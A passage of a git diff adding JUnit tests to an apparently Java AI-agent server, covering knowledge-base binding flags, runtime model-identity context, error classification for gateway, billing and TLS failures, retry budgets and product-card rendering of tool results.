EnumSet.of(ModelCapabilityService.Modality.VISION, ModelCapabilityService.Modality.TEXT)); + MessageEntity msg = userMessage("看看这张图"); + MessageContentPart remote = new MessageContentPart(); + remote.setType("image"); + remote.setContentType("image/jpeg"); + remote.setFileName("image.jpg"); + remote.setMediaId("https://ww-aibot-img.cos.example.com/x?sign=abc"); + when(agent.conversationService.parseMessageParts(msg)).thenReturn(List.of(remote)); + + UserMessage result = agent.callBuildUserMessage(msg, "看看这张图"); + + String text = result.getText(); + assertTrue(text.contains("未下载到本地"), + "remote-only attachment must hint that it was never downloaded locally"); + assertTrue(text.contains("开启") && text.contains("媒体下载"), + "hint must tell the user to enable channel media download"); + assertTrue(result.getMedia() == null || result.getMedia().isEmpty(), + "a remote URL must not be injected as Media"); + } + @Test @DisplayName("No attachments → no system notice, prompt text unchanged") void noAttachments_noNoticeAdded() { diff --git a/mateclaw-server/src/test/java/vip/mate/agent/binding/AgentBindingServiceValidationTest.java b/mateclaw-server/src/test/java/vip/mate/agent/binding/AgentBindingServiceValidationTest.java index dbc9a34e..266a2578 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/binding/AgentBindingServiceValidationTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/binding/AgentBindingServiceValidationTest.java @@ -58,6 +58,8 @@ class AgentBindingServiceValidationTest { skillBindingMapper, toolBindingMapper, providerPreferenceMapper, + mock(vip.mate.agent.binding.repository.AgentWikiKbBindingMapper.class), + mock(vip.mate.wiki.repository.WikiKnowledgeBaseMapper.class), skillRuntimeService, availableToolService, agentMapper, diff --git a/mateclaw-server/src/test/java/vip/mate/agent/binding/AgentBindingServiceWikiDisabledTest.java b/mateclaw-server/src/test/java/vip/mate/agent/binding/AgentBindingServiceWikiDisabledTest.java new file mode 100644 index 00000000..37f5e754 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/binding/AgentBindingServiceWikiDisabledTest.java @@ -0,0 +1,158 @@ +package vip.mate.agent.binding; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.agent.binding.service.AgentBindingService; + +import java.util.Set; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Issue #304 coverage for the {@code wiki_disabled} opt-out flag on + * {@code mate_agent}. Mirrors the contract proven for {@code skills_disabled} + * / {@code tools_disabled} in {@link AgentBindingServiceTest}: the flag flips + * the "no binding rows" semantic from "inherit workspace-wide" to "explicitly + * scoped to zero KBs", and a non-empty {@code setKbBindings} save auto-clears + * a stale flag. + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:binding_wiki_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none" +}) +class AgentBindingServiceWikiDisabledTest { + + private static final long AGENT_ID = 9_500_011L; + private static final long KB_ID_A = 9_500_101L; + private static final long KB_ID_B = 9_500_102L; + + @Autowired private AgentBindingService bindingService; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_agent_wiki_kb WHERE agent_id = ?", AGENT_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update("DELETE FROM mate_wiki_knowledge_base WHERE id IN (?, ?)", KB_ID_A, KB_ID_B); + + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, skills_disabled, tools_disabled, wiki_disabled, " + + "create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wiki-disabled-agent', 'react', '', 10, TRUE, 1, " + + "FALSE, FALSE, FALSE, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + // Two KBs in workspace 1 so we can prove "no rows → inherit" surfaces them + // and "disabled → Set.of()" hides them, without relying on fixture data. + for (long kbId : new long[]{KB_ID_A, KB_ID_B}) { + jdbc.update("MERGE INTO mate_wiki_knowledge_base (id, name, description, status, " + + "page_count, raw_count, workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, ?, ?, 'active', 0, 0, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + kbId, "kb-" + kbId, "desc-" + kbId); + } + } + + private void setWikiDisabledFlag(boolean value) { + jdbc.update("UPDATE mate_agent SET wiki_disabled = ? WHERE id = ?", value, AGENT_ID); + } + + private boolean readWikiDisabledFlag() { + Boolean v = jdbc.queryForObject( + "SELECT wiki_disabled FROM mate_agent WHERE id = ?", + Boolean.class, AGENT_ID); + return Boolean.TRUE.equals(v); + } + + @Test + @DisplayName("issue #304: wiki_disabled=false + no binding rows → null (inherit workspace-wide)") + void noRowsReturnsNullWhenNotDisabled() { + // Pre-V154 behavior preserved: an agent with no KB rows and no opt-out + // flag inherits every KB in the workspace. The webchat picker and wiki + // tools rely on null meaning "no restriction" to fall through to + // workspace-wide retrieval. + assertThat(bindingService.getBoundKbIds(AGENT_ID)).isNull(); + } + + @Test + @DisplayName("issue #304: wiki_disabled=true → Set.of() (NOT null) even with binding rows") + void disabledFlagReturnsEmptyEvenWithRows() { + // Seed a binding row so we can prove the flag wins over row count. + // Stale (flag + leftover rows) is exactly the contradiction the + // auto-clear in setKbBindings is designed to prevent; this test pins + // that getBoundKbIds stays defensive when state drifts. + jdbc.update("MERGE INTO mate_agent_wiki_kb (id, agent_id, kb_id, enabled, " + + "create_time, update_time, deleted) " + + "KEY(id) VALUES (?, ?, ?, TRUE, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + 9_500_201L, AGENT_ID, KB_ID_A); + setWikiDisabledFlag(true); + + Set result = bindingService.getBoundKbIds(AGENT_ID); + + assertThat(result).isNotNull(); + assertThat(result).isEmpty(); + } + + @Test + @DisplayName("issue #304: wiki_disabled=false + binding rows → the explicit allowlist") + void bindingRowsReturnAllowlistWhenNotDisabled() { + // Standard three-state contract: non-empty bindings + flag off returns + // the enabled KB ids, not null. + jdbc.update("MERGE INTO mate_agent_wiki_kb (id, agent_id, kb_id, enabled, " + + "create_time, update_time, deleted) " + + "KEY(id) VALUES (?, ?, ?, TRUE, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + 9_500_202L, AGENT_ID, KB_ID_A); + jdbc.update("MERGE INTO mate_agent_wiki_kb (id, agent_id, kb_id, enabled, " + + "create_time, update_time, deleted) " + + "KEY(id) VALUES (?, ?, ?, TRUE, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + 9_500_203L, AGENT_ID, KB_ID_B); + + Set result = bindingService.getBoundKbIds(AGENT_ID); + + assertThat(result).containsExactlyInAnyOrder(KB_ID_A, KB_ID_B); + } + + @Test + @DisplayName("issue #304: setKbBindings non-empty save auto-clears a stale wiki_disabled flag") + void setKbBindingsClearsStaleFlag() { + // Set up the contradiction: flag on, then operator saves a real + // binding. setKbBindings must clear the flag — same contract as + // setSkillBindings / setToolBindings on the skills_disabled and + // tools_disabled flags. + setWikiDisabledFlag(true); + assertThat(readWikiDisabledFlag()).isTrue(); + + bindingService.setKbBindings(AGENT_ID, java.util.List.of(KB_ID_A)); + + assertThat(readWikiDisabledFlag()) + .as("a concrete KB commitment must clear wiki_disabled so the data layer never holds both states at once") + .isFalse(); + // And the flag clear surfaces in getBoundKbIds — the new binding is + // honored, not silently masked by a stale opt-out. + assertThat(bindingService.getBoundKbIds(AGENT_ID)).containsExactly(KB_ID_A); + } + + @Test + @DisplayName("issue #304: setKbBindings empty save leaves the flag untouched (UI toggle owns the bit)") + void setKbBindingsEmptySaveLeavesFlagUntouched() { + // Empty / null save is ambiguous: "uncheck everything" vs "I never + // had any". The UI opt-out toggle owns the bit, not the binding + // writer. Mirrors setSkillBindings empty-save semantics so the four- + // state matrix stays consistent across skill/tool/wiki pickers. + setWikiDisabledFlag(true); + bindingService.setKbBindings(AGENT_ID, java.util.List.of()); + assertThat(readWikiDisabledFlag()).isTrue(); + assertThat(bindingService.getBoundKbIds(AGENT_ID)).isEmpty(); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/binding/service/AgentBindingServiceCuratorTest.java b/mateclaw-server/src/test/java/vip/mate/agent/binding/service/AgentBindingServiceCuratorTest.java index 750bf133..01893457 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/binding/service/AgentBindingServiceCuratorTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/binding/service/AgentBindingServiceCuratorTest.java @@ -46,6 +46,10 @@ class AgentBindingServiceCuratorTest { @Mock private AgentProviderPreferenceMapper providerPreferenceMapper; @Mock + private vip.mate.agent.binding.repository.AgentWikiKbBindingMapper kbBindingMapper; + @Mock + private vip.mate.wiki.repository.WikiKnowledgeBaseMapper kbMapper; + @Mock private SkillRuntimeService skillRuntimeService; @Mock private AvailableToolService availableToolService; @@ -73,6 +77,7 @@ class AgentBindingServiceCuratorTest { @BeforeEach void setUp() { service = new AgentBindingService(skillBindingMapper, toolBindingMapper, providerPreferenceMapper, + kbBindingMapper, kbMapper, skillRuntimeService, availableToolService, agentMapper, skillMapper, acpSkillBridge); } diff --git a/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginSenderFieldsTest.java b/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginSenderFieldsTest.java index 48c31e74..ba5b84eb 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginSenderFieldsTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginSenderFieldsTest.java @@ -41,7 +41,7 @@ class ChatOriginSenderFieldsTest { void withSenderPreservesOtherFields() { ChatOrigin original = new ChatOrigin( 7L, "conv-1", "u123", 5L, "/ws", 9L, null, false, - null, null, null); + null, null, null, null); ChatOrigin enriched = original.withSender("Alice", "wecom", "g-1"); // All non-sender fields unchanged @@ -80,7 +80,7 @@ class ChatOriginSenderFieldsTest { ChatOrigin origin = new ChatOrigin( 7L, "feishu:oc_42", "ou_xyz", 5L, "/data/ws/5", 9L, null, false, - "Alice", "feishu", "oc_42"); + "Alice", "feishu", "oc_42", null); String json = om.writeValueAsString(origin); ChatOrigin restored = om.readValue(json, ChatOrigin.class); diff --git a/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginTest.java b/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginTest.java index a51dd4d9..faf1c71f 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/context/ChatOriginTest.java @@ -28,7 +28,7 @@ class ChatOriginTest { void roundTripThroughToolContext_preservesAllFields() { ChannelTarget target = new ChannelTarget("user-42", "thread-abc", "bot-001"); ChatOrigin original = new ChatOrigin(7L, "wechat:42", "u123", 5L, - "/data/ws/5", 9L, target, false, null, null, null); + "/data/ws/5", 9L, target, false, null, null, null, null); ToolContext ctx = original.toToolContext(); ChatOrigin restored = ChatOrigin.from(ctx); @@ -75,7 +75,7 @@ class ChatOriginTest { void jsonSerialization_isStableAndForwardCompatible() throws Exception { ObjectMapper om = new ObjectMapper(); ChatOrigin origin = new ChatOrigin(7L, "wechat:42", "u123", 5L, - "/data/ws/5", 9L, new ChannelTarget("user-42", "thread-abc", "bot-001"), false, null, null, null); + "/data/ws/5", 9L, new ChannelTarget("user-42", "thread-abc", "bot-001"), false, null, null, null, null); String json = om.writeValueAsString(origin); ChatOrigin restored = om.readValue(json, ChatOrigin.class); diff --git a/mateclaw-server/src/test/java/vip/mate/agent/context/RuntimeContextInjectorModelTest.java b/mateclaw-server/src/test/java/vip/mate/agent/context/RuntimeContextInjectorModelTest.java new file mode 100644 index 00000000..0ce8012f --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/context/RuntimeContextInjectorModelTest.java @@ -0,0 +1,76 @@ +package vip.mate.agent.context; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Pin the runtime model-identity line added by the 5-arg + * {@link RuntimeContextInjector#buildContextMessage} overload. + * + *

    Unlike the sender block, the model line is about the AGENT (which + * model is driving this run), not the caller — so it must appear for + * every origin, including web and cron. The legacy 3/4-arg overloads + * must stay model-free so existing eval baselines don't shift. + */ +class RuntimeContextInjectorModelTest { + + @Test + @DisplayName("model + provider present → emits Model line with provider parenthetical + hint") + void modelLineWithProvider() { + String ctx = RuntimeContextInjector.buildContextMessage( + "/data/ws/5", null, ChatOrigin.EMPTY, "gpt-4o", "openai"); + + assertTrue(ctx.contains("[system-context] Model: gpt-4o"), "model line missing: " + ctx); + assertTrue(ctx.contains("(provider: openai)"), "provider missing: " + ctx); + assertTrue(ctx.contains("answer with this value for the current run"), + "model-identity hint missing: " + ctx); + } + + @Test + @DisplayName("blank provider → Model line without provider parenthetical") + void modelLineWithoutProvider() { + String ctx = RuntimeContextInjector.buildContextMessage( + "/data/ws/5", null, ChatOrigin.EMPTY, "claude-sonnet-4-6", " "); + + assertTrue(ctx.contains("[system-context] Model: claude-sonnet-4-6"), "model line missing: " + ctx); + assertFalse(ctx.contains("(provider:"), "blank provider must not emit parenthetical: " + ctx); + } + + @Test + @DisplayName("web origin still gets the model line (agent fact, not sender fact)") + void webOriginStillGetsModelLine() { + ChatOrigin origin = ChatOrigin.web("conv_1", "user-1", 5L, "/data/ws/5"); + + String ctx = RuntimeContextInjector.buildContextMessage( + "/data/ws/5", null, origin, "gpt-4o", "openai"); + + assertFalse(ctx.contains("Channel:"), "web origin must still suppress sender block: " + ctx); + assertTrue(ctx.contains("Model: gpt-4o"), "web origin must still get model line: " + ctx); + } + + @Test + @DisplayName("blank modelName → no model line at all") + void blankModelNoLine() { + String ctx = RuntimeContextInjector.buildContextMessage( + "/data/ws/5", null, ChatOrigin.EMPTY, " ", "openai"); + + assertFalse(ctx.contains("Model:"), "blank model must not emit a model line: " + ctx); + } + + @Test + @DisplayName("IM origin → both sender block AND model line present") + void imOriginHasSenderAndModel() { + ChatOrigin origin = new ChatOrigin( + 7L, "feishu:oc_abc", "ou_xyz", 5L, "/data/ws/5", + 9L, null, false, "Alice", "feishu", "oc_abc", null); + + String ctx = RuntimeContextInjector.buildContextMessage( + "/data/ws/5", null, origin, "gpt-4o", "openai"); + + assertTrue(ctx.contains("Channel: feishu"), "sender block missing: " + ctx); + assertTrue(ctx.contains("Model: gpt-4o"), "model line missing: " + ctx); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/context/RuntimeContextInjectorSenderTest.java b/mateclaw-server/src/test/java/vip/mate/agent/context/RuntimeContextInjectorSenderTest.java index e4e6c666..c4d23f2f 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/context/RuntimeContextInjectorSenderTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/context/RuntimeContextInjectorSenderTest.java @@ -27,7 +27,8 @@ class RuntimeContextInjectorSenderTest { 9L, null, false, /* senderName */ "Alice", /* channelType */ "feishu", - /* chatId */ "oc_abc"); + /* chatId */ "oc_abc", + /* baseUrl */ null); String ctx = RuntimeContextInjector.buildContextMessage("/data/ws/5", null, origin); @@ -44,7 +45,7 @@ class RuntimeContextInjectorSenderTest { ChatOrigin origin = new ChatOrigin( 7L, "feishu:ou_xyz", "ou_xyz", 5L, "/data/ws/5", 9L, null, false, - "Alice", "feishu", null); + "Alice", "feishu", null, null); String ctx = RuntimeContextInjector.buildContextMessage("/data/ws/5", null, origin); @@ -101,7 +102,7 @@ class RuntimeContextInjectorSenderTest { void blankSenderName() { ChatOrigin origin = new ChatOrigin( 7L, null, "ou_xyz", null, null, null, null, false, - /* senderName */ " ", "feishu", null); + /* senderName */ " ", "feishu", null, null); String ctx = RuntimeContextInjector.buildContextMessage(null, null, origin); diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/ErrorClassificationTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/ErrorClassificationTest.java index 66c2e2f7..45c536c5 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/graph/ErrorClassificationTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/ErrorClassificationTest.java @@ -190,4 +190,100 @@ class ErrorClassificationTest { assertEquals(NodeStreamingChatHelper.ErrorType.AUTH_ERROR, classify(new RuntimeException("401 Unauthorized: Invalid API Key (WebClientResponseException)"))); } + + // ===== AI-gateway resilience: 5xx classified BEFORE 4xx ===== + // + // Reverse proxies / AI gateways often surface an upstream 5xx as an HTTP 400 + // whose body still describes the outage. SERVER_ERROR must be matched before + // CLIENT_ERROR so the transient root cause wins and the call is retried, + // instead of being terminated as a non-retryable client error. + + @Test + @DisplayName("502 whose chain also carries 'Bad Request' → SERVER_ERROR (5xx wins)") + void gateway502WithBadRequestWinsServerError() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.SERVER_ERROR, + classify(new RuntimeException("502 Bad Gateway: Bad Request from upstream proxy"))); + } + + @Test + @DisplayName("503 mixed with 'invalid_request_error' → SERVER_ERROR") + void mixed503And400IsServerError() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.SERVER_ERROR, + classify(new RuntimeException("503 Service Unavailable (invalid_request_error in body)"))); + } + + @Test + @DisplayName("Gateway-rewritten 400 'model is overloaded' → SERVER_ERROR") + void gatewayOverloadedIsServerError() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.SERVER_ERROR, + classify(new RuntimeException("400 Bad Request: model is overloaded, please try again"))); + } + + // ===== Provider billing patterns (Chinese + numeric codes) → BILLING ===== + + @Test + @DisplayName("Chinese '余额不足 / 请充值' → BILLING") + void chineseInsufficientBalanceIsBilling() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.BILLING, + classify(new RuntimeException("调用失败:账户余额不足,请充值后重试"))); + } + + @Test + @DisplayName("Zhipu '\"code\":\"1113\"' → BILLING") + void zhipuCode1113IsBilling() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.BILLING, + classify(new RuntimeException("{\"error\":{\"code\":\"1113\",\"message\":\"insufficient balance\"}}"))); + } + + @Test + @DisplayName("'AccountBalanceNotEnough' → BILLING") + void accountBalanceNotEnoughIsBilling() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.BILLING, + classify(new RuntimeException("AccountBalanceNotEnough: balance not enough"))); + } + + // ===== Infrastructure-fatal errors → AUTH_ERROR (HARD, no same-model retry) ===== + // + // DNS / TLS-trust failures do not self-heal on retry. They are routed through + // AUTH_ERROR so the loop breaks straight to the fallback chain instead of + // burning the SERVER_ERROR retry budget on an unrecoverable condition. + + @Test + @DisplayName("UnknownHostException (DNS) → AUTH_ERROR") + void unknownHostIsAuthError() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.AUTH_ERROR, + classify(new java.net.UnknownHostException("api.example.com"))); + } + + @Test + @DisplayName("CertificateException → AUTH_ERROR") + void certificateExceptionIsAuthError() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.AUTH_ERROR, + classify(new java.security.cert.CertificateException("certificate expired"))); + } + + @Test + @DisplayName("SSLPeerUnverifiedException → AUTH_ERROR") + void sslPeerUnverifiedIsAuthError() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.AUTH_ERROR, + classify(new javax.net.ssl.SSLPeerUnverifiedException("peer not authenticated"))); + } + + @Test + @DisplayName("OpenSSL-style 'certificate verify failed' → AUTH_ERROR") + void certificateVerifyFailedIsAuthError() throws Exception { + assertEquals(NodeStreamingChatHelper.ErrorType.AUTH_ERROR, + classify(new RuntimeException("SSL error: certificate verify failed (self-signed certificate in chain)"))); + } + + @Test + @DisplayName("Java TLS 'PKIX path building failed' (uppercase PKIX) → AUTH_ERROR") + void pkixPathBuildingIsAuthError() throws Exception { + // The real Java message capitalizes PKIX. Since the error chain is not + // lower-cased, a lowercase pattern would never match and the fatal cert + // failure would be retried as SERVER_ERROR. Guard against that regression. + assertEquals(NodeStreamingChatHelper.ErrorType.AUTH_ERROR, + classify(new RuntimeException( + "PKIX path building failed: unable to find valid certification path to requested target"))); + } } diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/LaneDPerformanceFixesTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/LaneDPerformanceFixesTest.java index e00454cc..f3b18f5f 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/graph/LaneDPerformanceFixesTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/LaneDPerformanceFixesTest.java @@ -159,6 +159,10 @@ class LaneDPerformanceFixesTest { }); var helper = helper(model); + // Shrink backoff to ~1ms so the test doesn't sleep through the real + // 3s/6s exponential backoff; a huge time budget keeps the retry-count + // logic (not the wall-clock cap) the thing under test. + helper.setRetryTimingForTest(1, 1, Long.MAX_VALUE); var result = helper.streamCall(model, smallPrompt(), "conv-d2a", "reasoning"); // With MAX_RETRIES_RATE_LIMIT=2, attempts are: 0, 1, 2 = 3 total calls @@ -179,6 +183,13 @@ class LaneDPerformanceFixesTest { }); var helper = helper(model); + // Shrink backoff to ~1ms and lift the wall-clock budget so the full + // MAX_RETRIES path runs to completion. Without this, the real timing + // (exponential backoff capped at 60s vs a 3-minute total budget) cuts + // the loop off at ~8 calls after running for ~4 minutes — this test + // is about the retry COUNT, not the time budget (covered separately by + // serverErrorTimeBudgetCapsRetries). + helper.setRetryTimingForTest(1, 1, Long.MAX_VALUE); var result = helper.streamCall(model, smallPrompt(), "conv-d2b", "reasoning"); // SERVER_ERROR should use the full MAX_RETRIES budget, NOT the reduced @@ -194,6 +205,32 @@ class LaneDPerformanceFixesTest { "(attempt 0 through " + NodeStreamingChatHelper.MAX_RETRIES + ")"); } + @Test + @DisplayName("SERVER_ERROR stops early when the total-time budget is exhausted") + void serverErrorTimeBudgetCapsRetries() { + AtomicInteger callCount = new AtomicInteger(0); + ChatModel model = mock(ChatModel.class); + when(model.stream(any(Prompt.class))).thenAnswer(inv -> { + callCount.incrementAndGet(); + return Flux.error(new RuntimeException("500 Internal Server Error")); + }); + + var helper = helper(model); + // 50ms backoff but only a 10ms total budget: the wall-clock cap — not + // MAX_RETRIES — bounds a sustained server-error loop. The loop should + // bail after the first backoff pushes elapsed time past the budget, + // well before the full MAX_RETRIES would be consumed. + helper.setRetryTimingForTest(50, 50, 10); + var result = helper.streamCall(model, smallPrompt(), "conv-d2d", "reasoning"); + + assertTrue(callCount.get() >= 1, "At least the initial attempt should run"); + assertTrue(callCount.get() < NodeStreamingChatHelper.MAX_RETRIES + 1, + "Time budget should cut SERVER_ERROR retries short of the full " + + "MAX_RETRIES budget, but got " + callCount.get()); + assertNotEquals(NodeStreamingChatHelper.ErrorType.NONE, result.errorType(), + "Result should be an error after the time budget is exhausted"); + } + @Test @DisplayName("AUTH_ERROR is not retried (unchanged behavior)") void authErrorNotRetried() { diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/NodeStreamingChatHelperPoolTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/NodeStreamingChatHelperPoolTest.java index b195081c..915614dc 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/graph/NodeStreamingChatHelperPoolTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/NodeStreamingChatHelperPoolTest.java @@ -122,7 +122,7 @@ class NodeStreamingChatHelperPoolTest { pool.add("dashscope"); // second fallback alive // Use AUTH_ERROR (HARD) on primary — triggers the immediate break-to-walker - // path. Picking SERVER_ERROR would burn 5 retries (~110s) and then exit + // path. Picking SERVER_ERROR would burn MAX_RETRIES retries and then exit // without ever hitting the walker, which is unrelated to the property // under test here. ChatModel primary = errorModel(new RuntimeException("401 Unauthorized")); @@ -211,8 +211,8 @@ class NodeStreamingChatHelperPoolTest { pool.add("openai"); pool.add("dashscope"); - // EMPTY_RESPONSE is SOFT and breaks straight to fallback (no 5x retry) - // — keeps the test fast while still exercising the SOFT path. + // EMPTY_RESPONSE retries same model up to MAX_RETRIES_EMPTY_RESPONSE (3), + // then breaks to fallback. Keeps the test fast while exercising the SOFT path. ChatModel primary = emptyResponseModel(); ChatModel fallback = successModel("ok"); var helper = helper(List.of(new FallbackEntry("dashscope", fallback)), "openai"); diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/executor/ToolExecutionExecutorProductCardDirectiveTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/executor/ToolExecutionExecutorProductCardDirectiveTest.java new file mode 100644 index 00000000..197bf42a --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/executor/ToolExecutionExecutorProductCardDirectiveTest.java @@ -0,0 +1,54 @@ +package vip.mate.agent.graph.executor; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * The cross-platform shopping recommendation tool is globally callable, so a + * model can invoke it without ever loading the skill's instructions. The + * executor appends a card-rendering directive to that tool's result so products + * render as chat cards rather than a markdown table — but only when the result + * actually carries product records (timeouts / empty results must fall through + * to the model's own fallback). + */ +class ToolExecutionExecutorProductCardDirectiveTest { + + private static final String SHOPPING_TOOL = "mcp_1000000903_ckjia_shopping_recom_w2ekrl"; + + @Test + @DisplayName("appends the directive when the shopping tool returns recommendations") + void appendsForShoppingResults() { + String result = "[{\"text\":\"{\\\"recommendations\\\":[{\\\"name\\\":\\\"X\\\",\\\"imageUrl\\\":\\\"https://i\\\"}]}\"}]"; + assertTrue(ToolExecutionExecutor.shouldAppendProductCardDirective(SHOPPING_TOOL, result)); + + String decorated = ToolExecutionExecutor.withProductCardDirective(SHOPPING_TOOL, result); + assertTrue(decorated.startsWith(result), "original payload must be preserved verbatim"); + assertTrue(decorated.contains("product-cards"), "directive names the fence language"); + assertTrue(decorated.contains("imageUrl"), "directive lists the card fields"); + } + + @Test + @DisplayName("does not append on a timeout / error result from the shopping tool") + void skipsForTimeout() { + String timeout = "Tool execution failed: java.util.concurrent.TimeoutException: Did not observe any item"; + assertFalse(ToolExecutionExecutor.shouldAppendProductCardDirective(SHOPPING_TOOL, timeout)); + assertEquals(timeout, ToolExecutionExecutor.withProductCardDirective(SHOPPING_TOOL, timeout)); + } + + @Test + @DisplayName("does not append for unrelated tools even when the body looks product-ish") + void skipsForOtherTools() { + String body = "{\"recommendations\":[{\"imageUrl\":\"https://i\"}]}"; + assertFalse(ToolExecutionExecutor.shouldAppendProductCardDirective("web_search", body)); + assertEquals(body, ToolExecutionExecutor.withProductCardDirective("web_search", body)); + } + + @Test + @DisplayName("null-safe") + void nullSafe() { + assertFalse(ToolExecutionExecutor.shouldAppendProductCardDirective(null, "x")); + assertFalse(ToolExecutionExecutor.shouldAppendProductCardDirective(SHOPPING_TOOL, null)); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/node/GoalEvaluationNodeContinuationTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/GoalEvaluationNodeContinuationTest.java new file mode 100644 index 00000000..91d4bd87 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/GoalEvaluationNodeContinuationTest.java @@ -0,0 +1,237 @@ +package vip.mate.agent.graph.node; + +import com.alibaba.cloud.ai.graph.OverAllState; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.messages.Message; +import org.springframework.ai.chat.messages.UserMessage; +import vip.mate.agent.context.ConversationWindowManager; +import vip.mate.agent.graph.state.FinishReason; +import vip.mate.agent.graph.state.MateClawStateKeys; +import vip.mate.goal.config.GoalProperties; +import vip.mate.goal.model.GoalEntity; +import vip.mate.goal.model.GoalEvaluationResult; +import vip.mate.goal.model.GoalResponse; +import vip.mate.goal.service.GoalEvaluationService; +import vip.mate.goal.service.GoalFollowupService; +import vip.mate.goal.service.GoalService; +import vip.mate.goal.service.GraphFlavor; +import vip.mate.workspace.conversation.ConversationService; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertInstanceOf; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyList; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.lenient; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Locks the goal self-continuation behaviour on terminal turns: + *

      + *
    • MAX_ITERATIONS_REACHED now continues with a FRESH iteration budget + * ("hard continuation") instead of skipping silently.
    • + *
    • EVIDENCE_INSUFFICIENT now continues (corrective follow-up) without a + * budget reset.
    • + *
    • STOPPED / RETURN_DIRECT / ERROR_FALLBACK still skip.
    • + *
    • The hard-continuation cap bounds the fresh-budget loop.
    • + *
